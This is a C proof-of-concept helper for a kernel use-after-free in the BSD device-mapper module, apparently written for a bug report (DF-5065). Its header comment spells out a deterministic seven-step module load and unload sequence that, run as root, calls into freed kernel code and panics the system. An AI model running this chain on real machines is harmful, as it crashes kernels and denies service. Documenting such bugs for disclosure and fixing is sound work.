/*
 * DF-5065 PoC helper -- drive the NETBSD_DM_IOCTL "create"/"remove" control
 * commands on /dev/mapper/control.
 *
 * Used by run.sh for the deterministic chain:
 *
 *   1. kldload dm                    dm.ko: linker refs=1 (base), userrefs=1;
 *                                    registry holds built-in "error"/"zero"
 *                                    (DM_TARGET_BUILTIN, sys/dev/disk/dm/dm.h:269)
 *   2. create df5065dev              dm_dev_counter: 0 -> 1 (dm_dev.c:193)
 *   3. kldunload dm                  dm_modcmd EBUSY (device-mapper.c:161) ->
 *                                    MOD_UNLOAD veto -> kern_linker.c:518
 *                                    does file->refs-- with refs==1 => dm refs 1->0
 *                                    (base reference destroyed by a FAILED unload)
 *   4. remove df5065dev              dm_dev_counter: 1 -> 0 (dm_dev.c:71)
 *   5. kldload dm_target_linear      MDT_DEPEND: dm refs 0->1 -- still <= 1, so
 *                                    the MODULE_DEPEND pin no longer defers
 *                                    dm's unload (kern_linker.c:494 needs >1)
 *   6. kldunload dm                  refs==1 -> full unload attempt ->
 *                                    dm_dev_counter==0 -> dmdestroy() ->
 *                                    dm_target_uninit (dm_target.c:284-287)
 *                                    FREES linear's registered dm_target_t and
 *                                    lockuninit's the registry lock ->
 *                                    dm.ko text/data freed
 *   7. kldunload dm_target_linear    dmtl_mod_handler(MOD_UNLOAD) ->
 *                                    dm_target_remove("linear") -- a call into
 *                                    FREED dm.ko text -> Fatal trap 12
 *
 * No race, no timing: seven sequential steps, 100% deterministic.
 * Privilege: root (kldload/kldunload + /dev/mapper/control 0640 root:operator).
 *
 * Build: cc -O -Wall -o /tmp/dmt_registry_uaf dmt_registry_uaf.c -lprop
 * Run:   /tmp/dmt_registry_uaf create|remove <name>
 */
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV "/dev/mapper/control"

static int
send_ioctl(int fd, prop_dictionary_t dict)
{
	return prop_dictionary_send_ioctl(dict, fd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4);
	prop_array_add_uint32(ver, 0);
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);
	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
	return dict;
}

static int
dev_cmd(const char *command, const char *name)
{
	prop_dictionary_t dict = new_dm_dict(command);
	int fd, rv;

	fd = open(DM_CONTROL_DEV, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "%s: open %s: %s\n", command,
		    DM_CONTROL_DEV, strerror(errno));
		prop_object_release(dict);
		return (1);
	}
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);
	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	close(fd);
	printf("%s %s: %s (%d)\n", command, name,
	    rv ? strerror(rv) : "ok", rv);
	return (rv != 0);
}

int
main(int argc, char **argv)
{
	if (argc != 3) {
		fprintf(stderr, "usage: %s create|remove <name>\n", argv[0]);
		return (2);
	}
	if (strcmp(argv[1], "create") != 0 && strcmp(argv[1], "remove") != 0) {
		fprintf(stderr, "bad command %s\n", argv[1]);
		return (2);
	}
	return (dev_cmd(argv[1], argv[2]));
}
